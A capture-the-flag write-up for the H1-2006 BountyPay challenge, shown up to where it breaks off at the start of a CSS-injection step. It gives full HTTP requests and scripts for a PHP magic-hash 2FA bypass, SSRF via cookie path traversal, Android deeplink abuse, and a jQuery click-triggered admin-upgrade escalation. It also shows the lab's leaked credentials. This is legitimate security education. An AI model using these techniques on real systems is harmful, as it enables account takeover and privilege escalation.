H1-2006 Capture The Flag: Process Bounty Payments for BountyPay

In this write-up, I walkthrough the different steps of the H1-2006 capture-the-flag challenge. I'll go through the thinking process, steps to reproduce, failed attempts and other details.

1.0 Introduction & first reconnaissance on the scope

In this CTF, as mentioned on Twitter, we need to approve the bounty payments for May on behalf of Marten Mickos. He lost his credentials. Let's help him out.

The scope of the CTF challenge (*.bountypay.h1ctf.com) indicates that there are multiple assets in scope for the challenge. Through certificate transparency logs, I was able to confirm that there are at least 4 assets reachable within the scope. The hosts were reachable on the same IP address, which indicated that virtual hosts were used. From here, I decided to stop looking for any more subdomains from other sources (via tools such as subfinder), as we definitely have something to chew on for some time.

# This would return a 301 redirect to https://staff.bountypay.h1ctf.com
curl "http://3.21.98.146" -H "Host: staff.bountypay.h1ctf.com" -v

# This would return a 301 redirect to https://www.bountypay.h1ctf.com
curl "http://3.21.98.146" -H "Host: nonexistent.bountypay.h1ctf.com" -v

While looking through all hosts, we notice the following:

1.1 Conclusion / Key Takeaways

This looks sufficient for the passive part of our reconnaissance. Viewing the source of the different pages did not unveil anything interesting either, which made me decide to go over to the next step: active discovery.

2.0 Active discovery

So far, we have identified four assets. I started off by attempting to bypass the IP address restriction on software.bountypay.h1ctf.com by spoofing my IP address through X-Forwarded-For and equivalent headers. As that did not work out, I started with running a dirsearch on app.bountypay.h1ctf.com with a default wordlist. This revealed something interesting:

[14:02:14] 200 -  278B  - /.git/config       
[14:02:14] 200 -   73B  - /.git/description
[14:02:14] 200 -    0B  - /.git/index    
[14:02:14] 200 -   23B  - /.git/HEAD       
[14:02:14] 200 -  114B  - /.git/packed-refs   

The .git folder appears to be exposed in the root directory of the web server. This is definitely an interesting starting point, as (parts of) the code hosted on the server might be exposed through the repository. Upon downloading the /.git/config file, to identify the git repository configuration, we notice the following remote server configuration:

....

[remote "origin"]
	url = https://github.com/bounty-pay-code/request-logger.git
	fetch = +refs/heads/*:refs/remotes/origin/*

....

That looks interesting. BountyPay appears to be hosting their request-logger repo on GitHub.

The file in the repository contains a few lines of code, which appears to be logging the IP address, requested URI, request method used, and query parameters for both GET and POST requests. The data is then written to bp_web_trace.log. file_put_contents is given the FILE_APPEND flag to make sure it does not rewrite the entire log file, but append entries instead. An interesting fact here is that bp_web_trace.log is most likely written to the root directory of the web server (or at least the current directory where the script is running in, as no path is specified).

from https://github.com/bounty-pay-code/request-logger/blob/master/logger.php

<?php

$data = array(
  'IP'        =>  $_SERVER["REMOTE_ADDR"],
  'URI'       =>  $_SERVER["REQUEST_URI"],
  'METHOD'    =>  $_SERVER["REQUEST_METHOD"],
  'PARAMS'    =>  array(
      'GET'   =>  $_GET,
      'POST'  =>  $_POST
  )
);

file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND   );

2.1 Failed Attempts

2.2 Conclusion / Key Takeaways

3.0 bpwebtrace.log

As discovered from the previous phase, we could determine that the bp_web_trace.log file is stored in the current directory of the script. Browsing to https://app.bountypay.h1ctf.com/bp_web_trace.log returns us the same format as we were told previously: a base64 encoded JSON string with a timestamp.

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 07 Jun 2020 22:44:55 GMT
Content-Type: application/octet-stream
Connection: close
Content-Length: 680

1588931909:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJHRVQiLCJQQVJBTVMiOnsiR0VUIjpbXSwiUE9TVCI6W119fQ==
1588931919:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIn19fQ==
1588931928:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC8iLCJNRVRIT0QiOiJQT1NUIiwiUEFSQU1TIjp7IkdFVCI6W10sIlBPU1QiOnsidXNlcm5hbWUiOiJicmlhbi5vbGl2ZXIiLCJwYXNzd29yZCI6IlY3aDBpbnpYIiwiY2hhbGxlbmdlX2Fuc3dlciI6ImJEODNKazI3ZFEifX19
1588931945:eyJJUCI6IjE5Mi4xNjguMS4xIiwiVVJJIjoiXC9zdGF0ZW1lbnRzIiwiTUVUSE9EIjoiR0VUIiwiUEFSQU1TIjp7IkdFVCI6eyJtb250aCI6IjA0IiwieWVhciI6IjIwMjAifSwiUE9TVCI6W119fQ==

{"IP":"192.168.1.1","URI":"\/","METHOD":"GET","PARAMS":{"GET":[],"POST":[]}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX"}}}
{"IP":"192.168.1.1","URI":"\/","METHOD":"POST","PARAMS":{"GET":[],"POST":{"username":"brian.oliver","password":"V7h0inzX","challenge_answer":"bD83Jk27dQ"}}}
{"IP":"192.168.1.1","URI":"\/statements","METHOD":"GET","PARAMS":{"GET":{"month":"04","year":"2020"},"POST":[]}}

base64 decoded log entries of bpwebtrace.log

The log file appears to be leaking the username and password for user brian.oliver. Upon logging in, we're faced with a two factor authentication prompt.

login

The POST request for the 2FA form consists of the following values:

username=brian.oliver&password=V7h0inzX&challenge=f9526c7583d1fad363999086db2d755d&challenge_answer=ffff

Whenever we change the challenge parameter to any other value (only hexadecimal values were allowed), the server returns the same error (“invalid challenge response”). However, it writes our challenge in the HTML form.

This means that we most likely control the value where our challenge_answer value is compared with. With that in mind, we could probably consider the following scenario on the back-end:

<?php
// challenge is a MD5 hash. Let's MD5 hash the challenge answer to see whether it matches with the one generated on the server-side
if($_GET['challenge'] == md5($_GET['challenge_answer'])) {
// pass 2FA token
}

In this case, besides the fact that we probably control both sides of the comparison (and therefore we can already bypass the check), there's a loose comparison as well. Only the value is checked, but not the type when the comparison is done using ==. Given the fact that the two strings hold numerical strings (md5 returns a string), both of the strings will be evaluated as a float (number) by PHP when it contains a e.

The following test cases confirmed my assumptions:

challenge=343d9040a671c45832ee5381860e2996 # md5("fff")
challenge_answer=fff

Response: PASS

challenge=343d9040a671c45832ee5381860e2996 # md5("fff")
challenge_answer=asdasdads

Response: FAIL

challenge=0e462097431906509019562988736854 # md5("240610708")
challenge_answer=240610708 

Response: PASS

challenge=0e462097431906509019562988736854 # md5("240610708")
challenge_answer=QNKCDZO # md5("QNKCDZO") will return a hash starting with 0e as well, confirming the loose comparison. 
# This also confirms the usage of md5 by the server on the challenge_answer parameter.

Response: PASS

A final request to bypass the two-factor authentication.

POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Content-Length: 109
Origin: https://app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded

username=brian.oliver&password=V7h0inzX&challenge=0e462097431906509019562988736854&challenge_answer=240610708

3.1 Failed Attempts

4.0 SSRF to software.bountypay.h1ctf.com

We've successfully logged in and are prompted with a transaction dashboard. Through the dashboard, we're able to query (what appears) to be any pending transactions which need to be completed. Quickly going through all the years & months did not unveil anything interesting.

d

However, the token cookie looked interesting (a base64 encoded JSON object). The /statements endpoint was taking the account_id value from the cookie, and using it to construct an API call internally (it was proxying our request with the account_id value). There were no restrictions on account_id, and therefore we were able to perform a request to a different path, using a path traversal on account_id in the JSON object.

base64 decoded token: `{"account_id":"hi","hash":"de235bffd23df6995ad4e0930baac1a2"}`
--
GET /statements?month=1&year=2020 HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Accept: */*
Cookie: token=eyJhY2NvdW50X2lkIjoiaGkiLCJoYXNoIjoiZGUyMzViZmZkMjNkZjY5OTVhZDRlMDkzMGJhYWMxYTIifQ==

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 09 Jun 2020 00:28:47 GMT
Content-Type: application/json
Connection: close
Content-Length: 127

{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/hi\/statements?month=01&year=2020","data":"[\"Invalid Account ID\"]"}
--

We previously learned that software.bountypay.h1ctf.com was restricted to internal users only. As this request is most likely coming from an internal server, we should be able to access software.bountypay.h1ctf.com. After running dirsearch on api.bountypay.h1ctf.com, I discovered a /redirect endpoint.

The endpoint asked for a url parameter. Upon providing one, I noticed that there was a whitelist in place. We're only allowed to pass any hosts within *.bountypay.h1ctf.com.

Using the path traversal, we are able to call the redirect endpoint to redirect us to software.bountypay.h1ctf.com. Redirects are followed by the server. To make sure the (default set) /statements path in the request is not sent (so we won't end up as /ourpath/statements?month=01&year=2020), we end the path we want to request with a # to make sure anything after is considered as a fragment identifier. The fragment identifier is never sent to the server.

base64 decoded cookie

{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/fffffff#","hash":"de235bffd23df6995ad4e0930baac1a2"}
GET /statements?month=1&year=2020 HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Accept: */*
Cookie: token=eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS9mZmZmZmZmIyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 09 Jun 2020 01:03:02 GMT
Content-Type: application/json
Connection: close
Content-Length: 333

{"url":"https:\/\/api.bountypay.h1ctf.com\/api\/accounts\/..\/..\/redirect?url=https:\/\/software.bountypay.h1ctf.com\/fffffff&asd=\/statements?month=01&year=2020","data":"<html>\n<head><title>404 Not Found<\/title><\/head>\n<body>\n<center><h1>404 Not Found<\/h1><\/center>\n<hr><center>nginx\/1.15.8<\/center>\n<\/body>\n<\/html>"}

After creating a few requests manually (to index.php, .htaccess), I decided to create a quick bash script which takes my default wordlist, loops through it, base64 encodes the token cookie with the wordlist entry ($line), and finally pass the data to ffuf.

file="$1"
while IFS= read -r line; do
	echo "{\"account_id\":\"F8gHiqSdpK/../../../redirect?url=https://software.bountypay.h1ctf.com/$line#\",\"hash\":\"de235bffd23df6995ad4e0930baac1a2\"}" | base64 -w 500
done < "$file"

./generate.sh wordlist.txt | ffuf -w -:BOUNTYPAY -u "https://app.bountypay.h1ctf.com/statements?month=04&year=2020" -H "Cookie: token=BOUNTYPAY" -v -fr "404 Not Found" -o output.txt

...
[Status: 200, Size: 523, Words: 63, Lines: 1]
| URL | https://app.bountypay.h1ctf.com/statements?month=04&year=2020
    * BOUNTYPAY: eyJhY2NvdW50X2lkIjoiLi4vLi4vcmVkaXJlY3Q/dXJsPWh0dHBzOi8vc29mdHdhcmUuYm91bnR5cGF5LmgxY3RmLmNvbS91cGxvYWRzIyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9
...

This discovered a /uploads/ directory (with directory listening enabled), which appeared to contain a BountyPay.apk file. Attempting to fetch the file through the proxied call returned an empty response body, however visiting the file directly downloaded the file (https://software.bountypay.h1ctf.com/uploads/BountyPay.apk).

statements

4.1 Failed Attempts

4.2 Conclusion / Key Takeaways

5.0 BountyPay Android application

After decompiling the app using jadx-gui, we read through the AndroidManifest.xml and /res/values/strings.xml files for a first insight into the Android application.

AndroidManifest.xml android

strings.xml strings

bounty.pay package package

As the name suggests, we need to start with PartOneActivity. We immediately notice that the app uses Shared Preferences to save, what appears to be, user data. We could be tampering with the Shared Preferences to bypass stages, but as this will probably not be the intended solution, we'll follow the challenges from the start.

We use objection -s patchapk to patch the apk, so we could explore the application further on run-time. This would also allow us to read the generated shared preferences XML file on a non-rooted device. Let's do a walkthrough on the application.

faa

Once we submit our user data, we land on PartOneActivity. An empty activity screen.

faa

A fun side note: in the background, we have identified usage of Firebase Analytics. The Android application appears to create requests to app-measurement.com. Taking a look at the decompiled code, we notice that it uses Firebase Analytics to, most likely, keep track of the progress of CTF participants. Every single activity appears to have a logFlagFound() function, which is called after passing a deeplink.

 private void logFlagFound(String user, String twitterhandle) {
        Bundle params = new Bundle();
        params.putString("full_text", user);
        params.putString("full_text", twitterhandle);
        this.mFirebaseAnalytics.logEvent("Part_One_Comp", params);
    }

That obviously is probably something we shouldn't be looking at. The PartOneActivity tipped us that we should take a look into deeplinks.

if (getIntent() != null && getIntent().getData() != null && (firstParam = getIntent().getData().getQueryParameter("start")) != null && firstParam.equals("PartTwoActivity") && settings.contains("USERNAME")) {
            String user = settings.getString("USERNAME", "");
            SharedPreferences.Editor editor = settings.edit();
            String twitterhandle = settings.getString("TWITTERHANDLE", "");
            editor.putString("PARTONE", "COMPLETE").apply();
            logFlagFound(user, twitterhandle);
            startActivity(new Intent(this, PartTwoActivity.class));
        }

The code resides in the onCreate() function of the activity, which is called whenever the activity is started. getIntent() will return the intent that started the activity. An Intent contains an action and data expressed as a Uri.

In this case, this condition simply checks whether we provide a start parameter, which equals to PartTwoActivity. When we do so, data is written to the Shared Preferences (key PARTONE and value COMPLETED). Using adb, we can launch the activity via the following command:

adb shell am start -n bounty.pay/.PartOneActivity -a android.intent.action.VIEW -d "one://part?start=PartTwoActivity"

After launching the activity via the Intent, we land on PartTwoActivity, with the exactly same blank screen as the previous activity. Looking into the decompiled code, it now requests for two parameters with a specific value. If we provide the right data URI, the visibility of a few UI components will be set to 0, which means they will be viewable through the UI.

  if (getIntent() != null && getIntent().getData() != null) {
            Uri data = getIntent().getData();
            String firstParam = data.getQueryParameter("two");
            String secondParam = data.getQueryParameter("switch");
            if (firstParam != null && firstParam.equals("light") && secondParam != null && secondParam.equals("on")) {
                editText.setVisibility(0);
                button.setVisibility(0);
                textview.setVisibility(0);
            }
        }

Again, we set the required parameters and launch it using adb (note that we need to use a \ before & when using multiple query parameters):

adb shell am start -n bounty.pay/.PartTwoActivity -a android.intent.action.VIEW -d "two://part?two=light\&switch=on"

ffff

public void submitInfo(View view) {
        final String post = ((EditText) findViewById(R.id.editText)).getText().toString();
        this.childRef.addListenerForSingleValueEvent(new ValueEventListener() {
            public void onDataChange(DataSnapshot dataSnapshot) {
                SharedPreferences settings = PartTwoActivity.this.getSharedPreferences(PartTwoActivity.KEY_USERNAME, 0);
                SharedPreferences.Editor editor = settings.edit();
                String str = post;
                if (str.equals("X-" + ((String) dataSnapshot.getValue()))) {
                    PartTwoActivity.this.logFlagFound(settings.getString("USERNAME", ""), settings.getString("TWITTERHANDLE", ""));
                    editor.putString("PARTTWO", "COMPLETE").apply();
                    PartTwoActivity.this.correctHeader();
                    return;
                }
                Toast.makeText(PartTwoActivity.this, "Try again! :D", 0).show();
            }

            public void onCancelled(DatabaseError databaseError) {
                Log.e(PartTwoActivity.TAG, "onCancelled", databaseError.toException());
            }
        });
    }

The app requests a “Header” value from us. Browsing through the decompiled code of the Android application, it was obvious that this was “Token”. However, we're also able to confirm this statically. Our input is compared with a value from a DataSnapshot.

DatabaseReference childRef = this.database.child("header");

As mentioned in the Firebase documentation, data is retrieved by attaching an asynchronous listener to the reference (in this case: addListenerForSingleValueEvent()). The reference of the listener is childRef, which is equal to this.database.child("header").

When browsing to https://bountypay-90f64.firebaseio.com/header.json, we can confirm that this is the value the app is requesting from us. When we use X-Token as input, the PartThreeActivity is launched with an empty user interface. From the code, we can learn that the UI components of this activity are hidden as well.

The last activity

if (getIntent() != null && getIntent().getData() != null) {
            Uri data = getIntent().getData();
            String firstParam = data.getQueryParameter("three");
            String secondParam = data.getQueryParameter("switch");
            String thirdParam = data.getQueryParameter("header");
            byte[] decodeFirstParam = Base64.decode(firstParam, 0);
            byte[] decodeSecondParam = Base64.decode(secondParam, 0);
            final String decodedFirstParam = new String(decodeFirstParam, StandardCharsets.UTF_8);
            final String decodedSecondParam = new String(decodeSecondParam, StandardCharsets.UTF_8);
            AnonymousClass5 r17 = r0;
            DatabaseReference databaseReference = this.childRefThree;
            byte[] bArr = decodeSecondParam;
            final String str = firstParam;
            byte[] bArr2 = decodeFirstParam;
            final String str2 = secondParam;
            String str3 = secondParam;
            final String secondParam2 = thirdParam;
            String str4 = firstParam;
            final EditText editText2 = editText;
            Uri uri = data;
            final Button button2 = button;
            AnonymousClass5 r0 = new ValueEventListener() {
                public void onDataChange(DataSnapshot dataSnapshot) {
                    String str;
                    String value = (String) dataSnapshot.getValue();
                    if (str != null && decodedFirstParam.equals("PartThreeActivity") && str2 != null && decodedSecondParam.equals("on") && (str = secondParam2) != null) {
                        if (str.equals("X-" + value)) {
                            editText2.setVisibility(0);
                            button2.setVisibility(0);
                            PartThreeActivity.this.thread.start();
                        }
                    }
                }

                public void onCancelled(DatabaseError databaseError) {
                    Log.e("TAG", "onCancelled", databaseError.toException());
                }
            };
            databaseReference.addListenerForSingleValueEvent(r0);
        }

The last activity does a few more assignments of our query parameters than the previous activities. Eventually, it comes down to the fact that you should provide a base64 encoded value for the first two parameters (three and switch), and Token for the header parameter.

adb shell am start -n bounty.pay/.PartThreeActivity -a android.intent.action.VIEW -d "three://part?three=UGFydFRocmVlQWN0aXZpdHk=\&switch=b24=\&header=X-Token"

ffff

The application now asks for a leaked hash. I personally decided to browse the SharedPreferences, as I noticed that after launching PartThreeActivity, the “leaked hash” is taken from the Firebase database through an Anonymous login, and written to SharedPreferences.

  /* access modifiers changed from: private */
    public void getToken() {
        final SharedPreferences.Editor editor = getSharedPreferences(KEY_USERNAME, 0).edit();
        this.childRefTwo.addListenerForSingleValueEvent(new ValueEventListener() {
            public void onDataChange(DataSnapshot dataSnapshot) {
                editor.putString("TOKEN", (String) dataSnapshot.getValue()).apply();
            }

            public void onCancelled(DatabaseError databaseError) {
                Log.e("TAG", "onCancelled", databaseError.toException());
            }
        });
    }

ffaa

When pasting this hash, we're greeted with the CongratsActivity activity.

as

5.1 Conclusion / Key Takeaways

6.0 Exposed staff member ID

The CongratsActivity suggested us to use the information exposed in the Android application for the future stages of the CTF. I noticed that we have access to the same endpoint (where we were proxied to) as we had in 4.0.

GET /api/accounts/F8gHiqSdpK/statements?month=01&year=2020 HTTP/1.1
Host: api.bountypay.h1ctf.com
Connection: close
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 10 Jun 2020 00:16:13 GMT
Content-Type: application/json
Connection: close
Content-Length: 60

{"description":"Transactions for 2020-01","transactions":[]}

That did not result in anything interesting. However, running ffuf against /api/FUZZ resulted in the discovery of the /staff endpoint.

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 10 Jun 2020 00:20:12 GMT
Content-Type: application/json
Connection: close
Content-Length: 104

[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]

The endpoint also appeared to accept POST requests. It initially returned Invalid Parameter, but after fuzzing around using values from the GET /api/staff call, we were able to discover the proper values for the request to POST /api/staff.

POST /api/staff HTTP/1.1
Host: api.bountypay.h1ctf.com
Connection: close
Accept: */*
Content-Type: application/x-www-form-urlencoded
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Content-Length: 23

staff_id=STF:84DJKEIP38

HTTP/1.1 409 Conflict
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 10 Jun 2020 00:27:46 GMT
Content-Type: application/json
Connection: close
Content-Length: 39

["Staff Member already has an account"]

Trying to create a staff member account for any user in the GET /api/staff call returned a 409 Conflict HTTP error. After trying multiple things (as specified in 6.1), I noticed that BountyPay had a Twitter account. BountyPay announced a new hire, called Sandra:

twitt

When we look through the Twitter account for more information, we notice that BountyPay is following three users. One of them is Sandra, the recent hire of BountyPay. When we browse to her account, we notice that she published the picture of her staff badge. The badge includes her staff ID:

twitt

The staff ID in GET /api/staff does not include Sandra's staff ID. This probably means that the API call only returns staff members who have an active account on the platform.

POST /api/staff?month=01&year=2020 HTTP/1.1
Host: api.bountypay.h1ctf.com
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4025.0 Safari/537.36
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Mode: cors
X-Token: 8e9998ee3137ca9ade8f372739f062c1
Sec-Fetch-Dest: empty
Referer: https://app.bountypay.h1ctf.com/
Accept-Encoding: gzip, deflate
Accept-Language: nl-NL,nl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiI4ZTk5OThlZTMxMzdjYTlhZGU4ZjM3MjczOWYwNjJjMSJ9
Content-Length: 23

staff_id=STF:8FJ3KFISL3

HTTP/1.1 201 Created
Server: nginx/1.14.0 (Ubuntu)
Date: Tue, 02 Jun 2020 15:45:47 GMT
Content-Type: application/json
Connection: close
Content-Length: 110

{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}

We are able to create a staff account for Sandra as she was missing on the GET /api/staff call. As concluded in 1.0, the staff login is on staff.bountypay.h1ctf.com.

6.1 Failed Attempts

6.2 Conclusion / Key Takeaways

7.0 onclick for the win!

Using the credentials from the previous step, we are able to log into the staff portal of BountyPay. As the message states on the homepage, the staff portal appears to be used to receive messages from the administrative team.

dashboard

Browsing through the portal, I was able to confirm the following:

$(".upgradeToAdmin").click(function() {
    let t = $('input[name="username"]').val();
    $.get("/admin/upgrade?username=" + t, function() {
        alert("User Upgraded to Admin")
    })
}),
$(".tab").click(function() {
    return $(".tab").removeClass("active"),
    $(this).addClass("active"),
    $("div.content").addClass("hidden"),
    $("div.content-" + $(this).attr("data-target")).removeClass("hidden"),
    !1
}),
$(".sendReport").click(function() {
    $.get("/admin/report?url=" + url, function() {
        alert("Report sent to admin team")
    }),
    $("#myModal").modal("hide")
}),
document.location.hash.length > 0 && ("#tab1" === document.location.hash && $(".tab1").trigger("click"),
"#tab2" === document.location.hash && $(".tab2").trigger("click"),
"#tab3" === document.location.hash && $(".tab3").trigger("click"),
"#tab4" === document.location.hash && $(".tab4").trigger("click"));

/js/website.js

JavaScript files are sometimes a good place to start to discover new endpoints. We applied this idea on BountyPay as well, and noticed that the application loads a website.js file. The file contains some logic where we don't have access to: upgrading a user account to the administrator role. This is done using a call to /admin/upgrade?username=<username>.

When requesting this directly, we receive a 401 Unauthorized error:

HTTP/1.1 401 Unauthorized
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 10 Jun 2020 00:59:33 GMT
Content-Type: application/json
Connection: close
Content-Length: 32

["Only admins can perform this"]

We also discover a reporting feature, where we have access to. On every page, we're able to click on “Report The Page” to report the current page to the administrators. A call is made to /admin/report?url=<base64-encoded-value-of-current-path> when doing so.

report

Attempting server-side request forgery on the url parameter did not work out. It appears that the server was not creating requests outside the host. We are also restricted for making reports inside the /admin/ directory. The only way to make this work, is to somehow get the user to click the button inside the div class upgradeToAdmin.

After spending time on the outdated libraries which Retire.js reported, I decided to play around with jQuery's onclick events. When is such an event triggered?

Consider the following scenario:

<script src="https://staff.bountypay.h1ctf.com/js/jquery.min.js"></script>
<div class="tab2">
<p class="tab">hi</p>
</div>

<script>
$(".tab").click(function(){
alert("you clicked me, intentionally.");
});

$(".tab2").click(function(){
alert("you clicked me too?!?!");
});

</script>

When you click on “hi”, which is inside class tab2, the click() handler for tab will be triggered. However, jQuery will trigger the onclick event for tab2 as well. This means that a click on an element will always trigger the onclick events of the parent as well.

document.location.hash.length > 0 && ("#tab1" === document.location.hash && $(".tab1").trigger("click"),
"#tab2" === document.location.hash && $(".tab2").trigger("click"),
"#tab3" === document.location.hash && $(".tab3").trigger("click"),
"#tab4" === document.location.hash && $(".tab4").trigger("click"));

The last piece of information we receive from the JS file, is that we're able to select a different tab based on our location.hash value. A click event will be triggered on the tab which needs to be opened. This JS file is included on every page of the staff portal, except the login page.

With what we learned previously, if we make sure tab2 is a child of upgradeToAdmin, we're able to trigger the onclick event for upgradeToAdmin. That would allow us to upgrade the user's access level. Let's construct a profile_avatar value for that.

POST /?template=home HTTP/1.1
Host: staff.bountypay.h1ctf.com
Connection: close
Content-Length: 48
Origin: https://staff.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwSmVNbFRkbnIvU3MzMndYSW5XNmNFS1l5T1FDdTVNZFJPMS9TTWtDWEFkODBtRGRlbXpERlZ5WVlUdVZ6eDA0VnkxaWxRbU9CUVA2dFVoOTdwQVljb0NpbSt2d0RkYVF1N1BHUmFSbjZkNHpH

profile_name=&profile_avatar=upgradeToAdmin+tab2

HTTP/1.1 302 Found
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 10 Jun 2020 01:41:25 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Set-Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjIvRU51eEdabFFCd3F5WDVrMmEzWGlsS0NJMzdpWlAySnUwdFUrejc2U1liMzNqY3NFU2NFb2tNSEFhdTQvRlhBRi9HUFZPbFFZOVA0MjFYcUErYkMzQkJIdk00bWdJUTNraTBSaWZmQnZQOUFoSisrd0JGclN5aHJ2QURjYVV1NksrVVB4U3JlOHlOYmYrU0JSRlFsNFU9; expires=Fri, 10-Jul-2020 01:41:25 GMT; Max-Age=2592000; path=/
Location: /?template=home
Content-Length: 0

selector The change to profile_avatar sets the class attribute to our provided value

When browsing to https://staff.bountypay.h1ctf.com/?template=ticket&ticket_id=3582#tab2, a request will be created in the background to the /admin/upgrade endpoint.

selector

The username parameter remains undefined due to the fact that it is attempting to take the value from an input field (input[name="username"]'), which is nowhere to be found on the page. I eventually discovered that we could render multiple templates on the page, using multiple template query parameters. To make sure we don't override the parameters, we should make sure we're passing an array of a query parameter. An example – a call to/?template[]=login&template[]=ticket&ticket_id=3582 results in:

selector

The login page /?template=login appears to accept a username parameter to fill the input field of the username. Using the ability to render multiple templates on the page, we're able to construct the following path, which worked locally (although a 401 was returned, the proper values were sent):

/?template[]=login&template[]=ticket&ticket_id=3582&username=sandra.allison#tab2

selector

Final request to the server

The final request will return a new cookie, indicating that we are able to escalate to administrative privileges.

GET /admin/report?url=Lz90ZW1wbGF0ZVtdPWxvZ2luJnRlbXBsYXRlW109dGlja2V0JnRpY2tldF9pZD0zNTgyJnVzZXJuYW1lPXNhbmRyYS5hbGxpc29uI3RhYjI= HTTP/1.1
Host: staff.bountypay.h1ctf.com
Connection: close
Accept: */*
Referer: https://staff.bountypay.h1ctf.com/?template[]=login&template[]=home
Accept-Encoding: gzip, deflate
Accept-Language: nl-NL,nl;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjIvRU51eEdabFFCd3F5WDVrMmEzWGlsS0NJMzdpWlAySnUwdFUrejc2U1liMzNqY3NFU2NFb2tNSEFhdTQvRlhBRi9HUFZPbFFZOVA0MjFYcUErYkMzQkJIdk00bWdJUTNraTBSaWZmQnZQOUFoSisrd0JGclN5aHJ2QURjYVV1NksrVVB4U3JlOHlOYmYrU0JSRlFsNFU9

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Wed, 10 Jun 2020 02:04:42 GMT
Content-Type: application/json
Connection: close
Set-Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjIvRU51eEdabFFCd3F5WDVrMmEzWGlsS0NJMzdpWlAySnUwdFUrejc2U1liMzNqY3NFU2NFb2tNSEFhdTQvRlhBRi9HUFZPbFFkSjEya05CbEFhV0MzQkJIdk00bWdJUTNraTBSaWZmQnFpc1VSWW84QWdTOUhxaC9mVUFKUDUwdS9tWGJCV29lcHVPYUt2TkQwTlhsNFU9; expires=Fri, 10-Jul-2020 02:04:42 GMT; Max-Age=2592000; path=/
Content-Length: 19

["Report received"]

7.1 Failed Attempts

7.2 Conclusion / Key Takeaways

8.0 font-face CSS injection

Using the administrative access on staff.bountypay.h1ctf.com, we noticed that BountyPay was exposing clear-text passwords of their customers. This allowed us to log into Marten Mickos' account on app.bountypay.h1ctf.com. As our goal was to process HackerOne's bounty payments, this is a vital step in the CTF challenge.

ffff

We were faced with the login 2FA challenge again when using Marten's credentials on app.bountypay.h1ctf.com, so the final request to log in :

POST / HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Content-Length: 128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://app.bountypay.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: nl-NL,nl;q=0.9,en-US;q=0.8,en;q=0.7

username=marten.mickos&password=h%26H5wy2Lggj*kKn4OD%26Ype&challenge=0e462097431906509019562988736854&challenge_answer=240610708

aab

Browsing through the transactions, we discover a pending bounty payment of 210,300 dollars for May 2020. When we want to process it, we are prompted with another two factor authentication interface. This one appeared to be different than the initial 2FA prompt after logging in, as it was sending a app_style parameter when generating the challenge.

POST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1
Host: app.bountypay.h1ctf.com
Connection: close
Content-Length: 73
Content-Type: application/x-www-form-urlencoded
